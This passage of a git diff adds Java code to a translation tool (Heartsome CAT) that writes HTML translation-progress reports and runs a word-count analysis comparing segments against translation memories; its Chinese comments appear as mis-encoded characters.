    " + + Messages.getString("qa.all.fa.fileName") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.nonTrans") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.translated") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.lockedWords") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.wordsSum") + "
    " + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transWords") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transWordsProp") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transWords") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transWordsProp") + "
    \n" + + "- " + + curProject.getName() + "" + proFaResult.getNotTransWords() + "" + proFaResult.getNotTransWordsRatio() + "" + proFaResult.getTranslatedWords() + "" + proFaResult.getTransWordsRatio() + "" + proFaResult.getLockedWords() + "" + proFaResult.getTotalWords() + "
    \n"); + output.write(wordsFAdata.toString().getBytes("UTF-8")); + output.write("
    \n".getBytes("UTF-8")); + + // ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼ï¼æ–‡æœ¬æ®µ--------------------- + + output.write(("\t\t
    " + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.paragraph") + "
    ") + .getBytes("UTF-8")); + StringBuffer paraFAdata = new StringBuffer(); + + // 创建一个表 + paraFAdata.append("\t \n"); + // 表头 + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\n"); + + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\t\n"); + paraFAdata.append("\t\t\n"); + + // 首先写下项目 + paddLeft = 6; + paraFAdata.append("\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + ""); + paraSetInputData(curProject, paraFAdata, paddLeft); + + paraFAdata.append("\t
    " + + Messages.getString("qa.all.fa.fileName") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.nonTrans") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.translated") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.lockedParasNum") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.parasSum") + "
    " + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transParasNum") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transWordsProp") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transParasNum") + "" + + Messages.getString("qa.fileAnalysis.TranslationProgressFA.transWordsProp") + "
    \n" + + "- " + + curProject.getName() + "" + proFaResult.getNotTransPara() + "" + proFaResult.getNotTransParasRatio() + "" + proFaResult.getTranslatedPara() + "" + proFaResult.getTransParasRatio() + "" + proFaResult.getLockedPara() + "" + proFaResult.getTotalParas() + "
    \n"); + output.write(paraFAdata.toString().getBytes("UTF-8")); +// output.write("\t\t
    \n".getBytes("UTF-8")); + + // -----------文本段结æŸ-------------- +/* String htmlPathDiv = "
    " + Messages.getString("qa.all.fa.fileLocation") + + curProject.getFullPath().append("Report").append(htmlName).toOSString() + "
    "; + output.write(htmlPathDiv.getBytes("UTF-8"));*/ + + output.write("\t\n".getBytes("UTF-8")); + output.write("".getBytes("UTF-8")); + output.close(); + + } catch (FileNotFoundException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.TranslationProgressFA.log3"), e); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.TranslationProgressFA.log4"), e); + } catch (IOException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.fileAnalysis.TranslationProgressFA.log5"), e); + } + + return htmlPath; + } + + /** + * 将文件下所有的å­æ–‡ä»¶ï¼ˆç›´æŽ¥æˆ–间接å­æ–‡ä»¶ï¼‰çš„值加到文件夹中 + */ + public void setDataToFolder(IProject curProject) { + // 先存放项目相关的信æ¯ï¼Œæ‰€æœ‰çš„文件都存放在该项目中的,因此直接é历所有的文件 + TransProgressFAResult proFaResult = new TransProgressFAResult(); + for (int i = 0; i < model.getAnalysisIFileList().size(); i++) { + IFile ifile = model.getAnalysisIFileList().get(i); + TransProgressFAResult faResult = transProgFAResultMap.get(ifile.getLocation().toOSString()); + + proFaResult.setNotTransPara(faResult.getNotTransPara()); + proFaResult.setTranslatedPara(faResult.getTranslatedPara()); + proFaResult.setLockedPara(faResult.getLockedPara()); + proFaResult.setNotTransWords(faResult.getNotTransWords()); + proFaResult.setTranslatedWords(faResult.getTranslatedWords()); + proFaResult.setLockedWords(faResult.getLockedWords()); + } + transProgFAResultMap.put(curProject.getLocation().toOSString(), proFaResult); + + // å…ˆé历所有的文件夹 + for (int index = 0; index < allFolderList.size(); index++) { + IContainer container = allFolderList.get(index); + TransProgressFAResult folderFaResult = new TransProgressFAResult(); + // 循环所有的已ç»åˆ†æžå®Œçš„文件 + for (int i = 0; i < model.getAnalysisIFileList().size(); i++) { + IFile ifile = model.getAnalysisIFileList().get(i); + IContainer iFileParent = ifile.getParent(); + while (iFileParent != null) { + if (iFileParent.equals(container)) { + TransProgressFAResult faResult = transProgFAResultMap.get(ifile.getLocation().toOSString()); + + folderFaResult.setNotTransPara(faResult.getNotTransPara()); + folderFaResult.setTranslatedPara(faResult.getTranslatedPara()); + folderFaResult.setLockedPara(faResult.getLockedPara()); + folderFaResult.setNotTransWords(faResult.getNotTransWords()); + folderFaResult.setTranslatedWords(faResult.getTranslatedWords()); + folderFaResult.setLockedWords(faResult.getLockedWords()); + break; + } else { + iFileParent = iFileParent.getParent(); + } + } + } + transProgFAResultMap.put(container.getLocation().toOSString(), folderFaResult); + } + } + + /** + * å‘字数分æžçš„字数展示模å—å¡«å……æ•°æ® + * @param curContainer + * @param wordsFAdata + */ + public void wordsSetInputData(IContainer curContainer, StringBuffer wordsFAdata, int paddLeft) { + paddLeft += 10; + // 先判断该容器中是å¦æœ‰ç›´æŽ¥å­æ–‡ä»¶ä¸ºæœ¬æ¬¡åˆ†æžæ–‡ä»¶ + if (hasFAIFiles(curContainer)) { + // æ¯ä¸ªæ–‡ä»¶çš„å…·ä½“æ•°æ® + for (int fIndex = 0; fIndex < model.getAnalysisIFileList().size(); fIndex++) { + IFile curIFile = model.getAnalysisIFileList().get(fIndex); + if (curIFile.getParent().equals(curContainer)) { + TransProgressFAResult faResult = transProgFAResultMap.get(curIFile.getLocation().toOSString()); + + wordsFAdata.append("\t\t\n"); + wordsFAdata.append("\t\t\t" + + curIFile.getName() + "\n");// 文件å + wordsFAdata.append("\t\t\t" + faResult.getNotTransWords() + + "\n"); // 未翻译字数 + wordsFAdata.append("\t\t\t" + + faResult.getNotTransWordsRatio() + "\n"); // 未翻译字数比例 + wordsFAdata.append("\t\t\t" + faResult.getTranslatedWords() + + "\n"); // 已翻译字数 + wordsFAdata.append("\t\t\t" + faResult.getTransWordsRatio() + + "\n"); // 已翻译字数比例 + wordsFAdata.append("\t\t\t" + faResult.getLockedWords() + + "\n"); // é”定字数 + wordsFAdata.append("\t\t\t" + faResult.getTotalWords() + + "\n"); // 总字数 + wordsFAdata.append("\t\t\n"); + } + } + } + // é历所有å«æœ‰åˆ†æžæ–‡ä»¶çš„容器,找出当å‰å®¹å™¨çš„å­å®¹å™¨ï¼Œ + for (int index = 0; index < allFolderList.size(); index++) { + IContainer childContainer = allFolderList.get(index); + if (childContainer.getParent().equals(curContainer)) { + TransProgressFAResult faResult = transProgFAResultMap.get(childContainer.getLocation().toOSString()); + String folderId = childContainer.getFullPath().toOSString(); + wordsFAdata.append("\n" + + "" + + "- " + childContainer.getName() + "\n" + + "" + faResult.getNotTransWords() + "\n" + + "" + faResult.getNotTransWordsRatio() + "\n" + + "" + faResult.getTranslatedWords() + "\n" + + "" + faResult.getTransWordsRatio() + "\n" + + "" + faResult.getLockedWords() + "\n" + + "" + faResult.getTotalWords() + "\n" + + "\n"); + wordsSetInputData(childContainer, wordsFAdata, paddLeft); + } + } + } + + public void paraSetInputData(IContainer curContainer, StringBuffer paraFAdata, int paddLeft) { + paddLeft += 10; + // 先判断该容器中是å¦æœ‰ç›´æŽ¥å­æ–‡ä»¶ä¸ºæœ¬æ¬¡åˆ†æžæ–‡ä»¶ + if (hasFAIFiles(curContainer)) { + // æ¯ä¸ªæ–‡ä»¶çš„å…·ä½“æ•°æ® + for (int fIndex = 0; fIndex < model.getAnalysisIFileList().size(); fIndex++) { + IFile curIFile = model.getAnalysisIFileList().get(fIndex); + if (curIFile.getParent().equals(curContainer)) { + TransProgressFAResult faResult = transProgFAResultMap.get(curIFile.getLocation().toOSString()); + + paraFAdata.append("\t\t\n"); + paraFAdata.append("\t\t\t" + + curIFile.getName() + "\n");// 文件å + paraFAdata.append("\t\t\t" + faResult.getNotTransPara() + + "\n"); // 未翻译文本段数 + paraFAdata.append("\t\t\t" + faResult.getNotTransParasRatio() + + "\n"); // 未翻译文本段比例 + paraFAdata.append("\t\t\t" + faResult.getTranslatedPara() + + "\n"); // 已翻译文本段数 + paraFAdata.append("\t\t\t" + faResult.getTransParasRatio() + + "\n"); // 已翻译文本段比例 + paraFAdata.append("\t\t\t" + faResult.getLockedPara() + + "\n"); // é”定文本段 + paraFAdata.append("\t\t\t" + faResult.getTotalParas() + + "\n"); // 总段数 + paraFAdata.append("\t\t\n"); + } + } + } + // é历所有å«æœ‰åˆ†æžæ–‡ä»¶çš„容器,找出当å‰å®¹å™¨çš„å­å®¹å™¨ï¼Œ + for (int index = 0; index < allFolderList.size(); index++) { + IContainer childContainer = allFolderList.get(index); + if (childContainer.getParent().equals(curContainer)) { + TransProgressFAResult faResult = transProgFAResultMap.get(childContainer.getLocation().toOSString()); + String folderId = childContainer.getFullPath().toOSString(); + paraFAdata.append("\n" + + "\n" + "" + + "- " + childContainer.getName() + "\n" + + "" + faResult.getNotTransPara() + "\n" + + "" + faResult.getNotTransParasRatio() + "\n" + + "" + faResult.getTranslatedPara() + "\n" + + "" + faResult.getTransParasRatio() + "\n" + + "" + faResult.getLockedPara() + "\n" + + "" + faResult.getTotalParas() + "\n" + + "\n"); + paraSetInputData(childContainer, paraFAdata, paddLeft); + } + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/WordsFA.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/WordsFA.java new file mode 100644 index 0000000..478694a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/fileAnalysis/WordsFA.java @@ -0,0 +1,1161 @@ +package net.heartsome.cat.ts.ui.qa.fileAnalysis; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.tm.MatchQuality; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.core.qa.CountWord; +import net.heartsome.cat.ts.core.qa.FAModel; +import net.heartsome.cat.ts.core.qa.FileAnalysis; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.core.qa.WordsFABean; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.match.TmMatcher; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.model.WordsFAResult; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 字数分æžï¼ŒåŒ…括统计内部é‡å¤ï¼Œå†…部匹é…,外部é‡å¤ï¼Œå¤–部匹é…,以åŠæ–°å­—数的字数统计, 结果展示为字数统计,文本段统计。 monitor进度æ示语å¥ï¼š 字数分æž: 获å–文件{0}所有æºæ–‡æœ¬ ... ... + * 备注:所分æžçš„文件必须在一个项目内 + * @author robert 2011-12-08 + * + * 备注-robert ,此处还待优化,优化内容为é‡æ–°å†™ä¸€ä¸ªæŸ¥è¯¢æ•°æ®åº“的方法,待jason优化findmatch方法之åŽï¼Œä¼˜åŒ–çš„æ–¹é¢æ˜¯ï¼ŒåªæŸ¥è¯¢æˆ‘所需è¦çš„东西 2012-01-04 + */ +public class WordsFA extends FileAnalysis { + private FAModel model; + private QAXmlHandler handler; + /** 是å¦å¿½ç•¥æ ‡è®° */ + private boolean ignoreTag = false; + /** 是å¦å¿½ç•¥å¤§å°å†™ï¼Œä»Žè®°å¿†åº“é¦–é€‰é¡¹ä¸­èŽ·å– */ + private boolean ignoreCase = false; + /** 罚分制度 */ + private int tagPenalty; + /** 是å¦æ£€æŸ¥å†…部é‡å¤ */ + private boolean interRepeat; + /** 是å¦æ£€æŸ¥å†…éƒ¨åŒ¹é… */ + private boolean interMatch; + + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ï¼Œé’ˆå¯¹åŒ¹é… */ + private static int workInterval = 1; + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ï¼Œé’ˆå¯¹èŽ·å–æºæ–‡æœ¬ */ + private static int getSrcTextWorkInterval = workInterval * 100; + /** + * 存储所选文件的所有trans-unit节点的æºæ–‡æœ¬ Map<文件å, Map>> + */ + private Map> allSrcTextsMap = new HashMap>(); + /** 新字数的最大匹é…率,从首选项的记忆库设置中获å–,也就是匹é…率低于这个值就是新字数 */ + private int newWordsMaxMatchRate; + /** 一个存放æ¯ä¸ªæ–‡ä»¶åˆ†æžç»“果的集åˆï¼Œkey值为一个文件的ç»å¯¹è·¯å¾„(IFile.getLocation.toOSString) */ + private Map WordsFAResultMap; + /** 所有包括分æžæ–‡ä»¶çš„容器,但ä¸åŒ…括项目 */ + private List allFolderList; + + /** 上下文的个数,从首选项中获å–(记忆库) */ + private int contextSum = 0; + + private IPreferenceStore preferenceStore = Activator.getDefault().getPreferenceStore(); + /** 加æƒç³»æ•°å­—符串,如internalRepeat:0.50;external101:0.50;external100:0.50;95-99:0.60; */ + private String equivStr; + private TmMatcher tmMatcher = new TmMatcher(); + private TransUnitInfo2TranslationBean tuInfoBean; + private IProject curProject; + private List needLockRowIdList = new ArrayList(); + /** ä¿å­˜å†…部é‡å¤çš„æ•°æ®ï¼Œä»¥ä¾¿é”定内部é‡å¤ */ + private XLIFFEditorImplWithNatTable nattble; + private boolean isOpened; + public final static Logger logger = LoggerFactory.getLogger(WordsFA.class.getName()); + + @Override + public int beginAnalysis(FAModel model, IProgressMonitor monitor, QAXmlHandler handler) { + this.model = model; + this.handler = handler; + super.setModel(model); + ignoreTag = preferenceStore.getBoolean(QAConstant.FA_PREF_ignoreTag); + ignoreCase = preferenceStore.getBoolean(QAConstant.FA_PREF_ignoreCase); + contextSum = preferenceStore.getInt(QAConstant.FA_PREF_contextNum); + equivStr = preferenceStore.getString(QAConstant.FA_PREF_equivalent); + tagPenalty = preferenceStore.getInt(QAConstant.FA_PREF_tagPenalty); + initNewWordsMaxMatchRateFromWeightPage(); + + interRepeat = preferenceStore.getBoolean(QAConstant.FA_PREF_interRepeate); + interMatch = preferenceStore.getBoolean(QAConstant.FA_PREF_interMatch); + + // 备注,这里的是å¦å¿½ç•¥å¤§å°å†™ï¼Œä¼ åˆ°è®°å¿†åº“匹é…时是必须å˜æˆå®ƒçš„相å值的,因为记忆库里的å‚数为是å¦åŒºåˆ†å¤§å°å†™ã€‚ + tmMatcher.setCustomeMatchParameters(1, ignoreTag, newWordsMaxMatchRate, !ignoreCase, contextSum, tagPenalty); + + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + if (model.getAnalysisIFileList().size() <= 0) { + return QAConstant.QA_ZERO; + } + + // 字数分æžçš„进度æ¡åˆ†ä¸ºä¸¤å¤§å—,1:获å–项目下所有æºæ–‡æœ¬ï¼Œå…±èŠ±ä¸€æ ¼ï¼Œ2:分æžæ–‡ä»¶ï¼Œå…±èŠ±å››æ ¼ + int allTUSize = model.getAllTuSize(); + curProject = model.getAnalysisIFileList().get(0).getProject(); + // UNDO 所有的这里都è¦å¯¹è¿›åº¦æ¡è¿›è¡Œå¤„ç†ã€‚ + if (allTUSize > 500) { + workInterval = allTUSize / 500; + } + + int matchWorkUnit = allTUSize % workInterval == 0 ? (allTUSize / workInterval) : (allTUSize / workInterval) + 1; + + monitor.beginTask("", matchWorkUnit); + + // å¼€å§‹è¿›è¡Œå†…éƒ¨ä¸Žå¤–éƒ¨åŒ¹é… + WordsFAResultMap = matching(monitor); + tmMatcher.clearResources(); // 关闭数æ®åº“ï¼Œé‡Šæ”¾èµ„æº + + if (WordsFAResultMap == null) { + return QAConstant.QA_ZERO; + } + + // 输出结果 + printWordsFAReslut(); + + return QAConstant.QA_FIRST; + + } + + /** + * æ ¹æ®åŠ æƒå­—数字符串获å–最低匹é…率 + * @return + */ + private void initNewWordsMaxMatchRateFromWeightPage(){ + int minRate = 100; + //internalRepeat:0.50;external101:0.50;external100:0.50;95-99:0.60; + String[] equivArray = equivStr.split(";"); + for(String singleEquiv : equivArray){ + if (singleEquiv.indexOf("internalRepeat") != -1 || singleEquiv.indexOf("external101") != -1 + || singleEquiv.indexOf("external100") != -1) { + continue; + } + String matchPair = singleEquiv.substring(0, singleEquiv.indexOf(":") ); + String minRateStr = matchPair.split("-")[0]; + if (minRateStr != null && minRateStr.matches("\\d{0,2}")) { + if (minRate > Integer.parseInt(minRateStr)) { + minRate = Integer.parseInt(minRateStr); + } + } + } + newWordsMaxMatchRate = minRate; + if (newWordsMaxMatchRate <=0 ) { + newWordsMaxMatchRate = 1; + } + } + + /** + * 获å–è¦åˆ†æžçš„所有xliff文件的所有æºæ–‡æœ¬ 其值为一个键值对,rowId --> 该节点的æºæ–‡æœ¬ + * @return : Map<文件å, Map>> 如果返回为null,则标志退出程åºæ“作 + */ + public Map> getAllXlfSrcTexts(String srcLang, String tgtLang) { + return handler.getAllSrcText(getSrcTextWorkInterval, ignoreTag, contextSum, srcLang, tgtLang); + } + + /** + * 开始处ç†åŒ¹é…æ“作 如果返回null,则是用户点击退出按钮,执行退出æ“作 + */ + public Map matching(IProgressMonitor monitor) { + int matchTravelTuIndex = 0; + // å­—æ•°ç»Ÿè®¡çš„ç»“æžœé›†åˆ + Map wordsFAResultMap = new LinkedHashMap(); + Map> languages = handler.getLanguages(); + //先对æ¯ä¸ªæ–‡ä»¶å­˜æ”¾ä¸€ä¸ªç»“果集 + for(IFile iFile : model.getAnalysisIFileList()){ + String filePath = iFile.getLocation().toOSString(); + wordsFAResultMap.put(filePath, new WordsFAResult()); + } + WordsFAResult wordFaResult; //针对æ¯ä¸€ä¸ªæ–‡ä»¶çš„结果集 + + for (Entry> langEntry : languages.entrySet()) { + String srcLanguage = langEntry.getKey(); + for (String tgtLanguage : langEntry.getValue()) { + //针对æ¯ä¸ªæ–‡ä»¶ï¼Œæ¯ç§è¯­è¨€å¯¹èŽ·å–其内容 + allSrcTextsMap = getAllXlfSrcTexts(srcLanguage.toUpperCase(), tgtLanguage.toUpperCase()); + // 如果返回的值为空,则标志用户点击了退出æ“ä½œï¼Œé‚£ä¹ˆé€€å‡ºç¨‹åº + if (allSrcTextsMap == null) { + continue; + } + WordsFABean bean; + List exterMatchResult = null; + // å­—æ•°ç»Ÿè®¡çš„ç»“æžœé›†åˆ + for(Entry> textEntry : allSrcTextsMap.entrySet()){ + String filePath = textEntry.getKey(); + IFile iFile = ResourceUtils.fileToIFile(filePath); + // 存储匹é…结果的pojoç±» + wordFaResult = wordsFAResultMap.get(filePath); + + Map fileSrcTextMap = textEntry.getValue(); + + monitor.setTaskName(MessageFormat.format(Messages.getString("qa.fileAnalysis.WordsFA.tip1"), iFile + .getFullPath().toOSString())); + + Iterator> it = fileSrcTextMap.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + matchTravelTuIndex++; + + String rowId = entry.getKey(); + bean = entry.getValue(); + + String srcPureText = bean.getSrcPureText(); + int textLength = bean.getSrcLength(); + String preTextHash = bean.getPreHash(); + String nextTextHash = bean.getNextHash(); + boolean isLocked = bean.isLocked(); + String tagStr = bean.getTagStr(); + + int wordsCount = CountWord.wordCount(srcPureText, srcLanguage); + + //若处于é”定状æ€ï¼Œåˆ™æ·»åŠ åˆ°å·²é”定字数,然åŽè·³å‡ºï¼Œæ‰§è¡Œä¸‹ä¸€æ–‡æœ¬æ®µ + if (isLocked) { + wordFaResult.setLockedPara(QAConstant.QA_FIRST); + wordFaResult.setLockedWords(wordsCount); + //删除该文本段,ä¸å†è¿›è¡Œæ¯”较 + fileSrcTextMap.remove(rowId); + it = fileSrcTextMap.entrySet().iterator(); + continue; + } + + // UNDO 应先判断数æ®åº“是å¦å¯ç”¨ã€‚ + // 第一步,进行外部匹é…,先å°è£…å‚数。 + tuInfoBean = new TransUnitInfo2TranslationBean(); + tuInfoBean.setNextContext(bean.getNextHash()); + tuInfoBean.setPreContext(bean.getPreHash()); + tuInfoBean.setSrcFullText(bean.getSrcContent()); + tuInfoBean.setSrcLanguage(srcLanguage); + tuInfoBean.setSrcPureText(bean.getSrcPureText()); + tuInfoBean.setTgtLangugage(tgtLanguage); + + exterMatchResult = tmMatcher.analysTranslationUnit(curProject, tuInfoBean); + int exterMatchRate = 0; + if (exterMatchResult != null && exterMatchResult.size() > 0) { + exterMatchRate = exterMatchResult.get(0).getSimilarity(); + } + + if (exterMatchRate == 100) { + // 如果é”定外部 100% 匹é…,那么这些字数将被添加到é”定字数,而éžå¤–部 100% 匹é…,外部101% 一样 + if (model.isLockExter100()) { + wordFaResult.setLockedPara(QAConstant.QA_FIRST); + wordFaResult.setLockedWords(wordsCount); + needLockRowIdList.add(rowId); + }else { + wordFaResult.setExterRepeatPara(QAConstant.QA_FIRST); + wordFaResult.setExterMatchWords(wordsCount); + wordFaResult.setAllExterMatchWords(exterMatchRate, wordsCount); + } + //删除该文本段,ä¸å†è¿›è¡Œæ¯”较 + fileSrcTextMap.remove(rowId); + it = fileSrcTextMap.entrySet().iterator(); + + if (!handler.monitorWork(monitor, matchTravelTuIndex, workInterval, false)) { + return null; + } + continue; + } + + if (exterMatchRate == 101) { + if (model.isLockExter101()) { + wordFaResult.setLockedPara(QAConstant.QA_FIRST); + wordFaResult.setLockedWords(wordsCount); + needLockRowIdList.add(rowId); + }else { + wordFaResult.setExterRepeatPara(QAConstant.QA_FIRST); + wordFaResult.setExterMatchWords(wordsCount); + wordFaResult.setAllExterMatchWords(exterMatchRate, wordsCount); + } + //删除该文本段,ä¸å†è¿›è¡Œæ¯”较 + fileSrcTextMap.remove(rowId); + it = fileSrcTextMap.entrySet().iterator(); + + if (!handler.monitorWork(monitor, matchTravelTuIndex, workInterval, false)) { + return null; + } + continue; + } + + // ç¬¬äºŒæ­¥ï¼Œè¿›è¡Œå†…éƒ¨åŒ¹é… + int inteMatchRate = 0; + // 如果è¦æ£€æŸ¥å†…部é‡å¤ï¼Œé‚£ä¹ˆå°±æŸ¥æ‰¾å†…éƒ¨åŒ¹é… + if (interRepeat) { + // 如果ä¸è¿›è¡Œå†…部模糊匹é…,那么直接 + int interNewWordsMaxMatchRate = interMatch ? newWordsMaxMatchRate : 100; + internalMatching(rowId, srcPureText, tagStr, textLength, preTextHash, nextTextHash, interNewWordsMaxMatchRate); + } + + inteMatchRate = bean.getThisMatchRate() > inteMatchRate ? bean.getThisMatchRate() : inteMatchRate; + int maxMacthRate = exterMatchRate > inteMatchRate ? exterMatchRate : inteMatchRate; + + if (inteMatchRate == 100 || inteMatchRate == 101) { + if (model.isLockInterRepeat()) { + wordFaResult.setLockedPara(QAConstant.QA_FIRST); + wordFaResult.setLockedWords(wordsCount); + needLockRowIdList.add(rowId); + }else { + wordFaResult.setInterRepeatPara(QAConstant.QA_FIRST); + wordFaResult.setInterMatchWords(wordsCount); + wordFaResult.setAllInterMatchWords(inteMatchRate, wordsCount); + } + }else if (maxMacthRate < newWordsMaxMatchRate ) { + //最大匹é…å°äºŽæœ€å°åŒ¹é…时,就为新字数 + wordFaResult.setNewPara(QAConstant.QA_FIRST); + wordFaResult.setNewWords(wordsCount); + }else { + if (inteMatchRate > exterMatchRate) { + // å†…éƒ¨åŒ¹é… + wordFaResult.setInterMatchPara(QAConstant.QA_FIRST); + wordFaResult.setInterMatchWords(wordsCount); + wordFaResult.setAllInterMatchWords(inteMatchRate, wordsCount); + }else { //å¤–éƒ¨åŒ¹é… + wordFaResult.setExterMatchPara(QAConstant.QA_FIRST); + wordFaResult.setExterMatchWords(wordsCount); + wordFaResult.setAllExterMatchWords(exterMatchRate, wordsCount); + } + } + //删除该文本段,ä¸å†è¿›è¡Œæ¯”较 + fileSrcTextMap.remove(rowId); + it = fileSrcTextMap.entrySet().iterator(); + + if (!handler.monitorWork(monitor, matchTravelTuIndex, workInterval, false)) { + return null; + } + } + + wordsFAResultMap.put(filePath, wordFaResult); + } + + if (!handler.monitorWork(monitor, matchTravelTuIndex, workInterval, false)) { + return null; + } + } + } + lockRepeatTU(wordsFAResultMap); + return wordsFAResultMap; + } + + + + + /** + * å†…éƒ¨åŒ¹é… å¤‡æ³¨ï¼Œæ˜¯å°†ä¸€ä¸ªsource节点拿去跟所有的source节点进行匹é…,并称这个source节点为比较者,其他所有的source节点为被比较者 + * 关于上下文匹é…,在获å–分割xliff文件时就没有必è¦åŽ»åšäº†ï¼Œæ•…在获å–加æƒç³»æ•°æ—¶ï¼Œä¼ å…¥ä¸¤ä¸ªç©ºå€¼å³å¯ + * @param rowId + * : 被比较者的trans-unit节点的唯一标识符 + * @param srcContent + * : 被比较者的trans-unit节点的sourceå­èŠ‚点的完整内容(包括标记) + * @param srcPureText + * : 被比较者的trans-unit节点的sourceå­èŠ‚点的纯文本 + * @param preTextHash + * 上文的hash值 + * @param nextTexthash + * 下文的hash值 + */ + public int internalMatching(String rowId, String srcPureText, String tagStr, int textLength, + String preTextHash, String nextTexthash, int interNewWordsMaxMatchRate) { + int matchRate = 0; // 匹é…率 + // System.out.println("长度为="+srcContent.length()); + //System.out.println("rowId = " + rowId); + //System.out.println("ignoreTag = " + ignoreTag); + + int fileSize = model.getAnalysisIFileList().size(); + List fileList = model.getAnalysisIFileList(); + + for (int fileIndex = 0; fileIndex < fileSize; fileIndex++) { + IFile iFile = fileList.get(fileIndex); + String filePath = iFile.getLocation().toOSString(); + Map fileSrcTextMap = allSrcTextsMap.get(filePath); + + Iterator> it = fileSrcTextMap.entrySet().iterator(); + WordsFABean curBean; + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + String curRowId = entry.getKey(); + + // 比较者ä¸ä¸Žè‡ªå·±è¿›è¡Œæ¯”较 + if (rowId.equals(curRowId)) { + continue; + } + + curBean = entry.getValue(); + String curSrcPureText = curBean.getSrcPureText(); + + if (!checkIsideal(ignoreCase ? srcPureText.toLowerCase() : srcPureText, + ignoreCase ? curSrcPureText.toLowerCase() : curSrcPureText, interNewWordsMaxMatchRate)) { + continue; + } + + // long time2 = System.currentTimeMillis(); + int curMatchRate = 0; + curMatchRate = MatchQuality.similarity(ignoreCase ? srcPureText.toLowerCase() : srcPureText, + ignoreCase ? curSrcPureText.toLowerCase() : curSrcPureText); + if (!ignoreTag) { + String curTagStr = curBean.getTagStr(); + if (!curTagStr.equals(tagStr)) { + curMatchRate -= tagPenalty; + } + } + + if (curMatchRate > matchRate) { + matchRate = curMatchRate; + } + + //如果当å‰æ–‡æœ¬æ®µçš„匹é…率å°äºŽæœ¬æ¬¡æ‰€æ¯”较的匹é…率,则é‡æ–°åˆ·æ–°åŒ¹é…率 + curBean.setThisMatchRate(curMatchRate); + + // System.out.println("æ¯”è¾ƒæ—¶ï¼ " + (System.currentTimeMillis() - time2)); + } + } + + return matchRate; + } + + + /** + * 执行é”定é‡å¤æ–‡æœ¬æ®µ + */ + private void lockRepeatTU(Map wordsFAResultMap) { + final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + // 